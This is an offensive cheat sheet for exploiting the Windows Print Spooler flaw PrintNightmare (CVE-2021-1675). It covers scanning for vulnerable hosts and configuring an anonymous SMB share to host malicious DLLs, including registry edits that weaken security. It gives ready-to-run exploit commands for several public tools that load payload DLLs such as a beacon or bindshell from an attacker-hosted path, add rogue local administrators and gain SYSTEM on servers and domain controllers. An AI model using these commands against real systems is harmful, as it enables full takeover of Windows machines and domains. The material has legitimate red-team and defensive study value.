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PrintNightmare

CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."

The print spooler service is vulnerable to remote code execution that leverages a compromised user account, either domain-joined or local account, to take full control of a system as the NT SYSTEM user. Proof-of-concept (PoC) code has been made publicly available for this new vulnerability leaving every Windows system at extreme risk.

An adversary exploiting this vulnerability can leverage a domain-joined account, regardless of permissions, to take full control as NT SYSTEM on any domain-joined Windows system. This includes servers and Domain Controllers. An adversary exploiting this vulnerability can also leverage a local account to take full control as NT SYSTEM on any Windows system that the local account is valid.

Requirements

  • Spooler Service enabled (Mandatory)

  • Server with patches < June 21

  • DC with Pre Windows 2000 Compatibility group

  • Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1

  • Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Target Detection

We can use rpcdump.py from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable

# impacket
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol



# it was all a dream
git clone https://github.com/byt3bl33d3r/ItWasAllADream
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10

Tools

LogoGitHub - cube0x0/CVE-2021-1675: C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527GitHub
LogoGitHub - calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)GitHub
LogoGitHub - calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)GitHub
LogoGitHub - outflanknl/PrintNightmareGitHub

Exploitation

here we use the python exploit because it can do the job remotely.

git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

SMB configuration

Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

From windows it's also possible

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

example:

python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

other methods

SharpNightmare

# require a modified Impacket: https://github.com/cube0x0/impacket
python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
python3 ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
## LPE
SharpPrintNightmare.exe C:\addCube.dll
## RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
## RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123

Invoke-Nightmare

## LPE only (PS1 + DLL)
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"

Mimikatz v2.2.0-20210709+

## LPE
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50

PrintNightmare - @outflanknl

PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
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